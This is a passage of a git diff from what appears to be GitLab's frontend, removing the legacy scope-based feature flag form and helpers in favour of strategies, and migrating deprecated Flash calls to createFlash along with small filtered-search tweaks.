+ <input id="feature-flag-name" v-model="formName" class="form-control" />
</div>
</div>
@@ -298,7 +165,6 @@ export default {
<textarea
id="feature-flag-description"
v-model="formDescription"
- :disabled="!canUpdateFlag"
class="form-control"
rows="4"
></textarea>
@@ -312,277 +178,35 @@ export default {
:show-categorized-issues="false"
/>
- <template v-if="supportsStrategies">
- <div class="row">
- <div class="col-md-12">
- <h4>{{ s__('FeatureFlags|Strategies') }}</h4>
- <div class="flex align-items-baseline justify-content-between">
- <p class="mr-3">{{ $options.translations.newHelpText }}</p>
- <gl-button variant="confirm" category="secondary" @click="addStrategy">
- {{ s__('FeatureFlags|Add strategy') }}
- </gl-button>
- </div>
- </div>
- </div>
- <div v-if="filteredStrategies.length > 0" data-testid="feature-flag-strategies">
- <strategy
- v-for="(strategy, index) in filteredStrategies"
- :key="keyFor(strategy)"
- :strategy="strategy"
- :index="index"
- @change="onFormStrategyChange($event, index)"
- @delete="deleteStrategy(strategy)"
- />
- </div>
- <div v-else class="flex justify-content-center border-top py-4 w-100">
- <span>{{ $options.translations.noStrategiesText }}</span>
- </div>
- </template>
-
- <div v-else class="row">
- <div class="form-group col-md-12">
- <h4>{{ s__('FeatureFlags|Target environments') }}</h4>
- <gl-sprintf :message="$options.translations.helpText">
- <template #code="{ content }">
- <code>{{ content }}</code>
- </template>
- <template #bold="{ content }">
- <b>{{ content }}</b>
- </template>
- </gl-sprintf>
-
- <div class="js-scopes-table gl-mt-3">
- <div class="gl-responsive-table-row table-row-header" role="row">
- <div class="table-section section-30" role="columnheader">
- {{ s__('FeatureFlags|Environment Spec') }}
- </div>
- <div class="table-section section-20 text-center" role="columnheader">
- {{ s__('FeatureFlags|Status') }}
- </div>
- <div class="table-section section-40" role="columnheader">
- {{ s__('FeatureFlags|Rollout Strategy') }}
- </div>
- </div>
-
- <div
- v-for="(scope, index) in filteredScopes"
- :key="scope.id"
- ref="scopeRow"
- class="gl-responsive-table-row"
- role="row"
- >
- <div class="table-section section-30" role="gridcell">
- <div class="table-mobile-header" role="rowheader">
- {{ s__('FeatureFlags|Environment Spec') }}
- </div>
- <div
- class="table-mobile-content gl-display-flex gl-align-items-center gl-justify-content-start"
- >
- <p v-if="isAllEnvironment(scope.environmentScope)" class="js-scope-all pl-3">
- {{ $options.translations.allEnvironmentsText }}
- </p>
-
- <environments-dropdown
- v-else
- class="col-12"
- :value="scope.environmentScope"
- :disabled="!canUpdateScope(scope) || scope.environmentScope !== ''"
- @selectEnvironment="(env) => (scope.environmentScope = env)"
- @createClicked="(env) => (scope.environmentScope = env)"
- @clearInput="(env) => (scope.environmentScope = '')"
- />
-
- <gl-badge v-if="permissionsFlag && scope.protected" variant="success">
- {{ s__('FeatureFlags|Protected') }}
- </gl-badge>
- </div>
- </div>
-
- <div class="table-section section-20 text-center" role="gridcell">
- <div class="table-mobile-header" role="rowheader">
- {{ $options.i18n.statusLabel }}
- </div>
- <div class="table-mobile-content gl-display-flex gl-justify-content-center">
- <gl-toggle
- :value="scope.active"
- :disabled="!active || !canUpdateScope(scope)"
- :label="$options.i18n.statusLabel"
- label-position="hidden"
- @change="(status) => (scope.active = status)"
- />
- </div>
- </div>
-
- <div class="table-section section-40" role="gridcell">
- <div class="table-mobile-header" role="rowheader">
- {{ s__('FeatureFlags|Rollout Strategy') }}
- </div>
- <div class="table-mobile-content js-rollout-strategy form-inline">
- <label class="sr-only" :for="rolloutStrategyId(index)">
- {{ s__('FeatureFlags|Rollout Strategy') }}
- </label>
- <div class="select-wrapper col-12 col-md-8 p-0">
- <select
- :id="rolloutStrategyId(index)"
- v-model="scope.rolloutStrategy"
- :disabled="!scope.active"
- class="form-control select-control w-100 js-rollout-strategy"
- @change="onStrategyChange(index)"
- >
- <option :value="$options.ROLLOUT_STRATEGY_ALL_USERS">
- {{ s__('FeatureFlags|All users') }}
- </option>
- <option :value="$options.ROLLOUT_STRATEGY_PERCENT_ROLLOUT">
- {{ s__('FeatureFlags|Percent rollout (logged in users)') }}
- </option>
- <option :value="$options.ROLLOUT_STRATEGY_USER_ID">
- {{ s__('FeatureFlags|User IDs') }}
- </option>
- </select>
- <gl-icon
- name="chevron-down"
- class="gl-absolute gl-top-3 gl-right-3 gl-text-gray-500"
- :size="16"
- />
- </div>
-
- <div
- v-if="scope.rolloutStrategy === $options.ROLLOUT_STRATEGY_PERCENT_ROLLOUT"
- class="d-flex-center mt-2 mt-md-0 ml-md-2"
- >
- <label class="sr-only" :for="rolloutPercentageId(index)">
- {{ s__('FeatureFlags|Rollout Percentage') }}
- </label>
- <div class="gl-w-9">
- <input
- :id="rolloutPercentageId(index)"
- v-model="scope.rolloutPercentage"
- :disabled="!scope.active"
- :class="{
- 'is-invalid': isRolloutPercentageInvalid(scope.rolloutPercentage),
- }"
- type="number"
- min="0"
- max="100"
- :pattern="$options.rolloutPercentageRegex.source"
- class="rollout-percentage js-rollout-percentage form-control text-right w-100"
- />
- </div>
- <gl-tooltip
- v-if="isRolloutPercentageInvalid(scope.rolloutPercentage)"
- :target="rolloutPercentageId(index)"
- >
- {{
- s__(
- 'FeatureFlags|Percent rollout must be an integer number between 0 and 100',
- )
- }}
- </gl-tooltip>
- <span class="ml-1">%</span>
- </div>
- <div class="d-flex flex-column align-items-start mt-2 w-100">
- <gl-form-checkbox
- v-if="shouldDisplayIncludeUserIds(scope)"
- v-model="scope.shouldIncludeUserIds"
- >{{ s__('FeatureFlags|Include additional user IDs') }}</gl-form-checkbox
- >
- <template v-if="shouldDisplayUserIds(scope)">
- <label :for="rolloutUserId(index)" class="mb-2">
- {{ s__('FeatureFlags|User IDs') }}
- </label>
- <gl-form-textarea
- :id="rolloutUserId(index)"
- v-model="scope.rolloutUserIds"
- class="w-100"
- />
- </template>
- </div>
- </div>
- </div>
-
- <div class="table-section section-10 text-right" role="gridcell">
- <div class="table-mobile-header" role="rowheader">
- {{ s__('FeatureFlags|Remove') }}
- </div>
- <div class="table-mobile-content">
- <gl-button
- v-if="!isAllEnvironment(scope.environmentScope) && canUpdateScope(scope)"
- v-gl-tooltip
- :title="$options.i18n.removeLabel"
- :aria-label="$options.i18n.removeLabel"
- class="js-delete-scope btn-transparent pr-3 pl-3"
- icon="clear"
- data-testid="feature-flag-delete"
- @click="removeScope(scope)"
- />
- </div>
- </div>
- </div>
-
- <div class="gl-responsive-table-row" role="row" data-testid="add-new-scope">
- <div class="table-section section-30" role="gridcell">
- <div class="table-mobile-header" role="rowheader">
- {{ s__('FeatureFlags|Environment Spec') }}
- </div>
- <div class="table-mobile-content">
- <environments-dropdown
- class="js-new-scope-name col-12"
- :value="newScope"
- @selectEnvironment="(env) => createNewScope({ environmentScope: env })"
- @createClicked="(env) => createNewScope({ environmentScope: env })"
- />
- </div>
- </div>
-
- <div class="table-section section-20 text-center" role="gridcell">
- <div class="table-mobile-header" role="rowheader">
- {{ $options.i18n.statusLabel }}
- </div>
- <div class="table-mobile-content gl-display-flex gl-justify-content-center">
- <gl-toggle
- :disabled="!active"
- :label="$options.i18n.statusLabel"
- label-position="hidden"
- :value="false"
- @change="createNewScope({ active: true })"
- />
- </div>
- </div>
-
- <div class="table-section section-40" role="gridcell">
- <div class="table-mobile-header" role="rowheader">
- {{ s__('FeatureFlags|Rollout Strategy') }}
- </div>
- <div class="table-mobile-content js-rollout-strategy form-inline">
- <label class="sr-only" for="new-rollout-strategy-placeholder">{{
- s__('FeatureFlags|Rollout Strategy')
- }}</label>
- <div class="select-wrapper col-12 col-md-8 p-0">
- <select
- id="new-rollout-strategy-placeholder"
- disabled
- class="form-control select-control w-100"
- >
- <option>{{ s__('FeatureFlags|All users') }}</option>
- </select>
- <gl-icon
- name="chevron-down"
- class="gl-absolute gl-top-3 gl-right-3 gl-text-gray-500"
- :size="16"
- />
- </div>
- </div>
- </div>
- </div>
+ <div class="row">
+ <div class="col-md-12">
+ <h4>{{ s__('FeatureFlags|Strategies') }}</h4>
+ <div class="flex align-items-baseline justify-content-between">
+ <p class="mr-3">{{ $options.translations.newHelpText }}</p>
+ <gl-button variant="confirm" category="secondary" @click="addStrategy">
+ {{ s__('FeatureFlags|Add strategy') }}
+ </gl-button>
</div>
</div>
</div>
+ <div v-if="filteredStrategies.length > 0" data-testid="feature-flag-strategies">
+ <strategy
+ v-for="(strategy, index) in filteredStrategies"
+ :key="keyFor(strategy)"
+ :strategy="strategy"
+ :index="index"
+ @change="onFormStrategyChange($event, index)"
+ @delete="deleteStrategy(strategy)"
+ />
+ </div>
+ <div v-else class="flex justify-content-center border-top py-4 w-100">
+ <span>{{ $options.translations.noStrategiesText }}</span>
+ </div>
</fieldset>
<div class="form-actions">
<gl-button
ref="submitButton"
- :disabled="readOnly"
type="button"
variant="confirm"
class="js-ff-submit col-xs-12"
diff --git a/app/assets/javascripts/feature_flags/components/new_environments_dropdown.vue b/app/assets/javascripts/feature_flags/components/new_environments_dropdown.vue
index c59e3178b09..5575c6567b5 100644
--- a/app/assets/javascripts/feature_flags/components/new_environments_dropdown.vue
+++ b/app/assets/javascripts/feature_flags/components/new_environments_dropdown.vue
@@ -80,7 +80,7 @@ export default {
@focus="fetchEnvironments"
@keyup="fetchEnvironments"
/>
- <gl-loading-icon v-if="isLoading" />
+ <gl-loading-icon v-if="isLoading" size="sm" />
<gl-dropdown-item
v-for="environment in results"
v-else-if="results.length"
diff --git a/app/assets/javascripts/feature_flags/components/new_feature_flag.vue b/app/assets/javascripts/feature_flags/components/new_feature_flag.vue
index 19be57f9d27..865c1e677cd 100644
--- a/app/assets/javascripts/feature_flags/components/new_feature_flag.vue
+++ b/app/assets/javascripts/feature_flags/components/new_feature_flag.vue
@@ -1,10 +1,8 @@
<script>
import { GlAlert } from '@gitlab/ui';
import { mapState, mapActions } from 'vuex';
-import axios from '~/lib/utils/axios_utils';
import featureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import { NEW_VERSION_FLAG, ROLLOUT_STRATEGY_ALL_USERS } from '../constants';
-import { createNewEnvironmentScope } from '../store/helpers';
+import { ROLLOUT_STRATEGY_ALL_USERS } from '../constants';
import FeatureFlagForm from './form.vue';
export default {
@@ -13,48 +11,14 @@ export default {
GlAlert,
},
mixins: [featureFlagsMixin()],
- inject: {
- showUserCallout: {},
- userCalloutId: {
- default: '',
- },
- userCalloutsPath: {
- default: '',
- },
- },
- data() {
- return {
- userShouldSeeNewFlagAlert: this.showUserCallout,
- };
- },
computed: {
...mapState(['error', 'path']),
- scopes() {
- return [
- createNewEnvironmentScope(
- {
- environmentScope: '*',
- active: true,
- },
- this.glFeatures.featureFlagsPermissions,
- ),
- ];
- },
- version() {
- return NEW_VERSION_FLAG;
- },
strategies() {
return [{ name: ROLLOUT_STRATEGY_ALL_USERS, parameters: {}, scopes: [] }];
},
},
methods: {
...mapActions(['createFeatureFlag']),
- dismissNewVersionFlagAlert() {
- this.userShouldSeeNewFlagAlert = false;
- axios.post(this.userCalloutsPath, {
- feature_name: this.userCalloutId,
- });
- },
},
};
</script>
@@ -69,9 +33,7 @@ export default {
<feature-flag-form
:cancel-path="path"
:submit-text="s__('FeatureFlags|Create feature flag')"
- :scopes="scopes"
:strategies="strategies"
- :version="version"
@handleSubmit="(data) => createFeatureFlag(data)"
/>
</div>
diff --git a/app/assets/javascripts/feature_flags/components/strategies/gitlab_user_list.vue b/app/assets/javascripts/feature_flags/components/strategies/gitlab_user_list.vue
index 45fc37da747..9dbffe75f6b 100644
--- a/app/assets/javascripts/feature_flags/components/strategies/gitlab_user_list.vue
+++ b/app/assets/javascripts/feature_flags/components/strategies/gitlab_user_list.vue
@@ -76,7 +76,7 @@ export default {
@focus="fetchUserLists"
@keyup="fetchUserLists"
/>
- <gl-loading-icon v-if="isLoading" />
+ <gl-loading-icon v-if="isLoading" size="sm" />
<gl-dropdown-item
v-for="list in userLists"
:key="list.id"
diff --git a/app/assets/javascripts/feature_flags/edit.js b/app/assets/javascripts/feature_flags/edit.js
index 010674592f8..98dee7c7e97 100644
--- a/app/assets/javascripts/feature_flags/edit.js
+++ b/app/assets/javascripts/feature_flags/edit.js
@@ -1,6 +1,5 @@
import Vue from 'vue';
import Vuex from 'vuex';
-import { parseBoolean } from '~/lib/utils/common_utils';
import EditFeatureFlag from './components/edit_feature_flag.vue';
import createStore from './store/edit';
@@ -16,9 +15,6 @@ export default () => {
environmentsEndpoint,
projectId,
featureFlagIssuesEndpoint,
- userCalloutsPath,
- userCalloutId,
- showUserCallout,
} = el.dataset;
return new Vue({
@@ -30,9 +26,6 @@ export default () => {
environmentsEndpoint,
projectId,
featureFlagIssuesEndpoint,
- userCalloutsPath,
- userCalloutId,
- showUserCallout: parseBoolean(showUserCallout),
},
render(createElement) {
return createElement(EditFeatureFlag);
diff --git a/app/assets/javascripts/feature_flags/store/edit/actions.js b/app/assets/javascripts/feature_flags/store/edit/actions.js
index 54c7e8c4453..8656479190a 100644
--- a/app/assets/javascripts/feature_flags/store/edit/actions.js
+++ b/app/assets/javascripts/feature_flags/store/edit/actions.js
@@ -2,8 +2,7 @@ import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { visitUrl } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
-import { NEW_VERSION_FLAG } from '../../constants';
-import { mapFromScopesViewModel, mapStrategiesToRails } from '../helpers';
+import { mapStrategiesToRails } from '../helpers';
import * as types from './mutation_types';
/**
@@ -19,12 +18,7 @@ export const updateFeatureFlag = ({ state, dispatch }, params) => {
dispatch('requestUpdateFeatureFlag');
axios
- .put(
- state.endpoint,
- params.version === NEW_VERSION_FLAG
- ? mapStrategiesToRails(params)
- : mapFromScopesViewModel(params),
- )
+ .put(state.endpoint, mapStrategiesToRails(params))
.then(() => {
dispatch('receiveUpdateFeatureFlagSuccess');
visitUrl(state.path);
diff --git a/app/assets/javascripts/feature_flags/store/edit/mutations.js b/app/assets/javascripts/feature_flags/store/edit/mutations.js
index 0a610f4b395..3882cb2dfff 100644
--- a/app/assets/javascripts/feature_flags/store/edit/mutations.js
+++ b/app/assets/javascripts/feature_flags/store/edit/mutations.js
@@ -1,5 +1,5 @@
import { LEGACY_FLAG } from '../../constants';
-import { mapToScopesViewModel, mapStrategiesToViewModel } from '../helpers';
+import { mapStrategiesToViewModel } from '../helpers';
import * as types from './mutation_types';
export default {
@@ -14,7 +14,6 @@ export default {
state.description = response.description;
state.iid = response.iid;
state.active = response.active;
- state.scopes = mapToScopesViewModel(response.scopes);
state.strategies = mapStrategiesToViewModel(response.strategies);
state.version = response.version || LEGACY_FLAG;
},
diff --git a/app/assets/javascripts/feature_flags/store/helpers.js b/app/assets/javascripts/feature_flags/store/helpers.js
index 2fa20e25f4e..300709f2771 100644
--- a/app/assets/javascripts/feature_flags/store/helpers.js
+++ b/app/assets/javascripts/feature_flags/store/helpers.js
@@ -1,149 +1,4 @@
-import { isEmpty, uniqueId, isString } from 'lodash';
-import {
- ROLLOUT_STRATEGY_ALL_USERS,
- ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- ROLLOUT_STRATEGY_USER_ID,
- ROLLOUT_STRATEGY_GITLAB_USER_LIST,
- INTERNAL_ID_PREFIX,
- DEFAULT_PERCENT_ROLLOUT,
- PERCENT_ROLLOUT_GROUP_ID,
- fetchPercentageParams,
- fetchUserIdParams,
- LEGACY_FLAG,
-} from '../constants';
-
-/**
- * Converts raw scope objects fetched from the API into an array of scope
- * objects that is easier/nicer to bind to in Vue.
- * @param {Array} scopesFromRails An array of scope objects fetched from the API
- */
-export const mapToScopesViewModel = (scopesFromRails) =>
- (scopesFromRails || []).map((s) => {
- const percentStrategy = (s.strategies || []).find(
- (strat) => strat.name === ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- );
-
- const rolloutPercentage = fetchPercentageParams(percentStrategy) || DEFAULT_PERCENT_ROLLOUT;
-
- const userStrategy = (s.strategies || []).find(
- (strat) => strat.name === ROLLOUT_STRATEGY_USER_ID,
- );
-
- const rolloutStrategy =
- (percentStrategy && percentStrategy.name) ||
- (userStrategy && userStrategy.name) ||
- ROLLOUT_STRATEGY_ALL_USERS;
-
- const rolloutUserIds = (fetchUserIdParams(userStrategy) || '')
- .split(',')
- .filter((id) => id)
- .join(', ');
-
- return {
- id: s.id,
- environmentScope: s.environment_scope,
- active: Boolean(s.active),
- canUpdate: Boolean(s.can_update),
- protected: Boolean(s.protected),
- rolloutStrategy,
- rolloutPercentage,
- rolloutUserIds,
-
- // eslint-disable-next-line no-underscore-dangle
- shouldBeDestroyed: Boolean(s._destroy),
- shouldIncludeUserIds: rolloutUserIds.length > 0 && percentStrategy !== null,
- };
- });
-/**
- * Converts the parameters emitted by the Vue component into
- * the shape that the Rails API expects.
- * @param {Array} scopesFromVue An array of scope objects from the Vue component
- */
-export const mapFromScopesViewModel = (params) => {
- const scopes = (params.scopes || []).map((s) => {
- const parameters = {};
- if (s.rolloutStrategy === ROLLOUT_STRATEGY_PERCENT_ROLLOUT) {
- parameters.groupId = PERCENT_ROLLOUT_GROUP_ID;
- parameters.percentage = s.rolloutPercentage;
- } else if (s.rolloutStrategy === ROLLOUT_STRATEGY_USER_ID) {
- parameters.userIds = (s.rolloutUserIds || '').replace(/, /g, ',');
- }
-
- const userIdParameters = {};
-
- if (s.shouldIncludeUserIds && s.rolloutStrategy !== ROLLOUT_STRATEGY_USER_ID) {
- userIdParameters.userIds = (s.rolloutUserIds || '').replace(/, /g, ',');
- }
-
- // Strip out any internal IDs
- const id = isString(s.id) && s.id.startsWith(INTERNAL_ID_PREFIX) ? undefined : s.id;
-
- const strategies = [
- {
- name: s.rolloutStrategy,
- parameters,
- },
- ];
-
- if (!isEmpty(userIdParameters)) {
- strategies.push({ name: ROLLOUT_STRATEGY_USER_ID, parameters: userIdParameters });
- }
-
- return {
- id,
- environment_scope: s.environmentScope,
- active: s.active,
- can_update: s.canUpdate,
- protected: s.protected,
- _destroy: s.shouldBeDestroyed,
- strategies,
- };
- });
-
- const model = {
- operations_feature_flag: {
- name: params.name,
- description: params.description,
- active: params.active,
- scopes_attributes: scopes,
- version: LEGACY_FLAG,
- },
- };
-
- return model;
-};
-
-/**
- * Creates a new feature flag environment scope object for use
- * in a Vue component. An optional parameter can be passed to
- * override the property values that are created by default.
- *
- * @param {Object} overrides An optional object whose
- * property values will be used to override the default values.
- *
- */
-export const createNewEnvironmentScope = (overrides = {}, featureFlagPermissions = false) => {
- const defaultScope = {
- environmentScope: '',
- active: false,
- id: uniqueId(INTERNAL_ID_PREFIX),
- rolloutStrategy: ROLLOUT_STRATEGY_ALL_USERS,
- rolloutPercentage: DEFAULT_PERCENT_ROLLOUT,
- rolloutUserIds: '',
- };
-
- const newScope = {
- ...defaultScope,
- ...overrides,
- };
-
- if (featureFlagPermissions) {
- newScope.canUpdate = true;
- newScope.protected = false;
- }
-
- return newScope;
-};
+import { ROLLOUT_STRATEGY_GITLAB_USER_LIST, NEW_VERSION_FLAG } from '../constants';
const mapStrategyScopesToRails = (scopes) =>
scopes.length === 0
@@ -206,8 +61,8 @@ export const mapStrategiesToRails = (params) => ({
operations_feature_flag: {
name: params.name,
description: params.description,
- version: params.version,
active: params.active,
strategies_attributes: (params.strategies || []).map(mapStrategyToRails),
+ version: NEW_VERSION_FLAG,
},
});
diff --git a/app/assets/javascripts/feature_flags/store/index/mutations.js b/app/assets/javascripts/feature_flags/store/index/mutations.js
index 54e48a4b80c..7e08440c299 100644
--- a/app/assets/javascripts/feature_flags/store/index/mutations.js
+++ b/app/assets/javascripts/feature_flags/store/index/mutations.js
@@ -1,10 +1,7 @@
import Vue from 'vue';
import { parseIntPagination, normalizeHeaders } from '~/lib/utils/common_utils';
-import { mapToScopesViewModel } from '../helpers';
import * as types from './mutation_types';
-const mapFlag = (flag) => ({ ...flag, scopes: mapToScopesViewModel(flag.scopes || []) });
-
const updateFlag = (state, flag) => {
const index = state.featureFlags.findIndex(({ id }) => id === flag.id);
Vue.set(state.featureFlags, index, flag);
@@ -31,7 +28,7 @@ export default {
[types.RECEIVE_FEATURE_FLAGS_SUCCESS](state, response) {
state.isLoading = false;
state.hasError = false;
- state.featureFlags = (response.data.feature_flags || []).map(mapFlag);
+ state.featureFlags = response.data.feature_flags || [];
const paginationInfo = createPaginationInfo(response.headers);
state.count = paginationInfo?.total ?? state.featureFlags.length;
@@ -58,7 +55,7 @@ export default {
updateFlag(state, flag);
},
[types.RECEIVE_UPDATE_FEATURE_FLAG_SUCCESS](state, data) {
- updateFlag(state, mapFlag(data));
+ updateFlag(state, data);
},
[types.RECEIVE_UPDATE_FEATURE_FLAG_ERROR](state, i) {
const flag = state.featureFlags.find(({ id }) => i === id);
diff --git a/app/assets/javascripts/feature_flags/store/new/actions.js b/app/assets/javascripts/feature_flags/store/new/actions.js
index d0a1c77a69e..dc3f7a21cdb 100644
--- a/app/assets/javascripts/feature_flags/store/new/actions.js
+++ b/app/assets/javascripts/feature_flags/store/new/actions.js
@@ -1,7 +1,6 @@
import axios from '~/lib/utils/axios_utils';
import { visitUrl } from '~/lib/utils/url_utility';
-import { NEW_VERSION_FLAG } from '../../constants';
-import { mapFromScopesViewModel, mapStrategiesToRails } from '../helpers';
+import { mapStrategiesToRails } from '../helpers';
import * as types from './mutation_types';
/**
@@ -17,12 +16,7 @@ export const createFeatureFlag = ({ state, dispatch }, params) => {
dispatch('requestCreateFeatureFlag');
return axios
- .post(
- state.endpoint,
- params.version === NEW_VERSION_FLAG
- ? mapStrategiesToRails(params)
- : mapFromScopesViewModel(params),
- )
+ .post(state.endpoint, mapStrategiesToRails(params))
.then(() => {
dispatch('receiveCreateFeatureFlagSuccess');
visitUrl(state.path);
diff --git a/app/assets/javascripts/feature_highlight/feature_highlight_helper.js b/app/assets/javascripts/feature_highlight/feature_highlight_helper.js
index 7b4bed69fb8..747f368b671 100644
--- a/app/assets/javascripts/feature_highlight/feature_highlight_helper.js
+++ b/app/assets/javascripts/feature_highlight/feature_highlight_helper.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '../lib/utils/axios_utils';
import { __ } from '../locale';
@@ -10,10 +10,10 @@ export function dismiss(endpoint, highlightId) {
feature_name: highlightId,
})
.catch(() =>
- Flash(
- __(
+ createFlash({
+ message: __(
'An error occurred while dismissing the feature highlight. Refresh the page and try dismissing again.',
),
- ),
+ }),
);
}
diff --git a/app/assets/javascripts/filtered_search/add_extra_tokens_for_merge_requests.js b/app/assets/javascripts/filtered_search/add_extra_tokens_for_merge_requests.js
index 38a5bdd4a71..d00e6e59cf5 100644
--- a/app/assets/javascripts/filtered_search/add_extra_tokens_for_merge_requests.js
+++ b/app/assets/javascripts/filtered_search/add_extra_tokens_for_merge_requests.js
@@ -75,6 +75,13 @@ export default (IssuableTokenKeys, disableTargetBranchFilter = false) => {
icon: 'approval',
tag: '@approved-by',
},
+ tokenAlternative: {
+ formattedKey: __('Approved-By'),
+ key: 'approved-by',
+ type: 'string',
+ param: 'usernames',
+ symbol: '@',
+ },
condition: [
{
url: 'approved_by_usernames[]=None',
@@ -105,7 +112,11 @@ export default (IssuableTokenKeys, disableTargetBranchFilter = false) => {
const tokenPosition = 3;
IssuableTokenKeys.tokenKeys.splice(tokenPosition, 0, ...[approvedBy.token]);
- IssuableTokenKeys.tokenKeysWithAlternative.splice(tokenPosition, 0, ...[approvedBy.token]);
+ IssuableTokenKeys.tokenKeysWithAlternative.splice(
+ tokenPosition,
+ 0,
+ ...[approvedBy.token, approvedBy.tokenAlternative],
+ );
IssuableTokenKeys.conditions.push(...approvedBy.condition);
const environmentToken = {
diff --git a/app/assets/javascripts/filtered_search/available_dropdown_mappings.js b/app/assets/javascripts/filtered_search/available_dropdown_mappings.js
index 626a5669067..e0281b8f443 100644
--- a/app/assets/javascripts/filtered_search/available_dropdown_mappings.js
+++ b/app/assets/javascripts/filtered_search/available_dropdown_mappings.js
@@ -1,3 +1,4 @@
+import { sortMilestonesByDueDate } from '~/milestones/milestone_utils';
import { mergeUrlParams } from '../lib/utils/url_utility';
import DropdownAjaxFilter from './dropdown_ajax_filter';
import DropdownEmoji from './dropdown_emoji';
@@ -87,6 +88,7 @@ export default class AvailableDropdownMappings {
extraArguments: {
endpoint: this.getMilestoneEndpoint(),
symbol: '%',
+ preprocessing: (milestones) => milestones.sort(sortMilestonesByDueDate),
},
element: this.container.querySelector('#js-dropdown-milestone'),
},
diff --git a/app/assets/javascripts/filtered_search/dropdown_ajax_filter.js b/app/assets/javascripts/filtered_search/dropdown_ajax_filter.js
index 35c79891458..545719ee681 100644
--- a/app/assets/javascripts/filtered_search/dropdown_ajax_filter.js
+++ b/app/assets/javascripts/filtered_search/dropdown_ajax_filter.js
@@ -1,6 +1,6 @@
+import createFlash from '~/flash';
import { __ } from '~/locale';
import AjaxFilter from '../droplab/plugins/ajax_filter';
-import createFlash from '../flash';
import DropdownUtils from './dropdown_utils';
import FilteredSearchDropdown from './filtered_search_dropdown';
import FilteredSearchTokenizer from './filtered_search_tokenizer';
diff --git a/app/assets/javascripts/filtered_search/dropdown_emoji.js b/app/assets/javascripts/filtered_search/dropdown_emoji.js
index 91af3a6b812..a7648a3c463 100644
--- a/app/assets/javascripts/filtered_search/dropdown_emoji.js
+++ b/app/assets/javascripts/filtered_search/dropdown_emoji.js
@@ -1,7 +1,7 @@
+import createFlash from '~/flash';
import { __ } from '~/locale';
import Ajax from '../droplab/plugins/ajax';
import Filter from '../droplab/plugins/filter';
-import createFlash from '../flash';
import DropdownUtils from './dropdown_utils';
import FilteredSearchDropdown from './filtered_search_dropdown';
diff --git a/app/assets/javascripts/filtered_search/dropdown_non_user.js b/app/assets/javascripts/filtered_search/dropdown_non_user.js
index 93051b00756..f78644a3893 100644
--- a/app/assets/javascripts/filtered_search/dropdown_non_user.js
+++ b/app/assets/javascripts/filtered_search/dropdown_non_user.js
@@ -1,7 +1,7 @@
+import createFlash from '~/flash';
import { __ } from '~/locale';
import Ajax from '../droplab/plugins/ajax';
import Filter from '../droplab/plugins/filter';
-import createFlash from '../flash';
import DropdownUtils from './dropdown_utils';
import FilteredSearchDropdown from './filtered_search_dropdown';
diff --git a/app/assets/javascripts/filtered_search/filtered_search_manager.js b/app/assets/javascripts/filtered_search/filtered_search_manager.js
index 707205a6502..5ba69f052c9 100644
--- a/app/assets/javascripts/filtered_search/filtered_search_manager.js
+++ b/app/assets/javascripts/filtered_search/filtered_search_manager.js
@@ -1,7 +1,7 @@
import { last } from 'lodash';
import recentSearchesStorageKeys from 'ee_else_ce/filtered_search/recent_searches_storage_keys';
import IssuableFilteredSearchTokenKeys from '~/filtered_search/issuable_filtered_search_token_keys';
-import { getParameterByName, getUrlParamsArray } from '~/lib/utils/common_utils';
+import createFlash from '~/flash';
import {
ENTER_KEY_CODE,
BACKSPACE_KEY_CODE,
@@ -10,9 +10,8 @@ import {
DOWN_KEY_CODE,
} from '~/lib/utils/keycodes';
import { __ } from '~/locale';
-import createFlash from '../flash';
import { addClassIfElementExists } from '../lib/utils/dom_utils';
-import { visitUrl } from '../lib/utils/url_utility';
+import { visitUrl, getUrlParamsArray, getParameterByName } from '../lib/utils/url_utility';
import FilteredSearchContainer from './container';
import DropdownUtils from './dropdown_utils';
import eventHub from './event_hub';
diff --git a/app/assets/javascripts/filtered_search/filtered_search_visual_tokens.js b/app/assets/javascripts/filtered_search/filtered_search_visual_tokens.js
index eec4db41b0a..7143cb50ea6 100644
--- a/app/assets/javascripts/filtered_search/filtered_search_visual_tokens.js
+++ b/app/assets/javascripts/filtered_search/filtered_search_visual_tokens.js
@@ -1,4 +1,5 @@
-import { objectToQueryString, spriteIcon } from '~/lib/utils/common_utils';
+import { spriteIcon } from '~/lib/utils/common_utils';
+import { objectToQuery } from '~/lib/utils/url_utility';
import FilteredSearchContainer from './container';
import VisualTokenValue from './visual_token_value';
@@ -327,7 +328,7 @@ export default class FilteredSearchVisualTokens {
return endpoint;
}
- const queryString = objectToQueryString(JSON.parse(endpointQueryParams));
+ const queryString = objectToQuery(JSON.parse(endpointQueryParams));
return `${endpoint}?${queryString}`;
}
diff --git a/app/assets/javascripts/filtered_search/visual_token_value.js b/app/assets/javascripts/filtered_search/visual_token_value.js
index 7f4445ad4c7..707add10009 100644
--- a/app/assets/javascripts/filtered_search/visual_token_value.js
+++ b/app/assets/javascripts/filtered_search/visual_token_value.js
@@ -4,7 +4,7 @@ import * as Emoji from '~/emoji';
import FilteredSearchContainer from '~/filtered_search/container';
import DropdownUtils from '~/filtered_search/dropdown_utils';
import FilteredSearchVisualTokens from '~/filtered_search/filtered_search_visual_tokens';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import AjaxCache from '~/lib/utils/ajax_cache';
import UsersCache from '~/lib/utils/users_cache';
import { __ } from '~/locale';
@@ -83,7 +83,11 @@ export default class VisualTokenValue {
matchingLabel.text_color,
);
})
- .catch(() => new Flash(__('An error occurred while fetching label colors.')));
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while fetching label colors.'),
+ }),
+ );
}
updateEpicLabel(tokenValueContainer) {
@@ -105,7 +109,11 @@ export default class VisualTokenValue {
VisualTokenValue.replaceEpicTitle(tokenValueContainer, matchingEpic.title, matchingEpic.id);
})
- .catch(() => new Flash(__('An error occurred while adding formatted title for epic')));
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while adding formatted title for epic'),
+ }),
+ );
}
static replaceEpicTitle(tokenValueContainer, epicTitle, epicId) {
diff --git a/app/assets/javascripts/flash.js b/app/assets/javascripts/flash.js
index 2edb6e79d3b..741171b185a 100644
--- a/app/assets/javascripts/flash.js
+++ b/app/assets/javascripts/flash.js
@@ -125,38 +125,11 @@ const createFlash = function createFlash({
return flashContainer;
};
-/*
